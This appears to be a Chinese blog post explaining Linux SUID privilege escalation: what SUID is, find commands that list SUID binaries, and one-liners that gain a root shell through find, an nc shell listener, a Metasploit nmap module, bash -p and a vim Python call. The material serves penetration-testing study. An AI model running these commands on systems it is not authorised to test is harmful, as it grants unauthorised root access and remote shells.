深度分析linux提权之SUID提权|Find提权|NMAP提权|VIM提权...

SUID是什么

        SUID是Set User ID,SGID是Set Group的意思

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限,SGID与SUID相似,只是执行程序时获得的是文件属组的权限

在执行的过程中,调用者会暂时获得该文件的属主的权限,并且权限只在程序执行的过程中有效,通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们非root用户登入时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,通过ls执行root权限

注意以下几点:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
2.命令执行者要对该程序文件拥有x权限
3.命令执行者在执行该程序时获得该程序文件属主的身份
4.SUID权限只在程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

chmod u+s filename //设置SUID位
chmod u-s filename //去掉SUID位

SUID提权原理

        原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令,常见可以用的提权命令如下

nmap
vim
find
bash
more
less
nano
cp
awk

以下命令可以找到正在系统上运行的所有SUID可执行命令,例如find

使用Find查找SUID文件

find / -user root -perm -4000 2>/dev/null
解析:
    使用find命令查找
    /              代表从根目录开始找
    -user root     找属主为root的二进制文件
    2>/dev/null    将find报错的信息重定向到null[空]
    如果2是1的话    代表将find正确的信息重定向到null
    -perm          匹配权限 4000 2000 1000分别是SUID SGID SBIT

find / -perm -u=s -type f 2>/dev/null
    -type b/d/c/p/l/f    查是块设备,目录,字符设备,管道.符号链接,普通文件
find /-user root -perm -4000 -exec ls {} \; 2>/dev/null
   -exec            执行的意思
   \;               exec后面接的命令必须分号结尾,类似于C语言语句结尾

普通文件,文件的权限一般三位,777是最高文件权限

        -perm -0777搜索的就是最高权限的文件ewxewxewx

        -perm +0777搜索的只要包含ewxewxewx任意一个的文件

特殊文件.包含权限位置四位,7000为最高,即-s-s-t,同样的方法

        -perm -7000搜索的就是最高权限的文件-s-s-t

        -perm +7000搜索的只要包含-s-s-t任意一个文件 -s --(4000),- -s -(2000),- - -t(1000)等

Find提权

        find比较常见,find用来在系统中查找,同时,他也有执行命令的能力,因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行

        提权如下

cd /tmp;touch xxx    随便创建一个文件可以在tmp目录下
find xxx -exec whoami \;    
find xxx -exec /bin/sh \;    利用find得到一个root权限的shell
find xxx -exec nc -lvp 4444 -e /bin/sh \;利用nc反弹一个root权限的shell
前提是linux靶场有nc工具,并且攻击机开启了监听
    攻击机 靶场ip 4444

NMAP提权

        使用msf中的提权模块

use exploit/unix/local/setuid_nmap

 Bash提权

bash -p

vim打开交互shell

vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'

  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值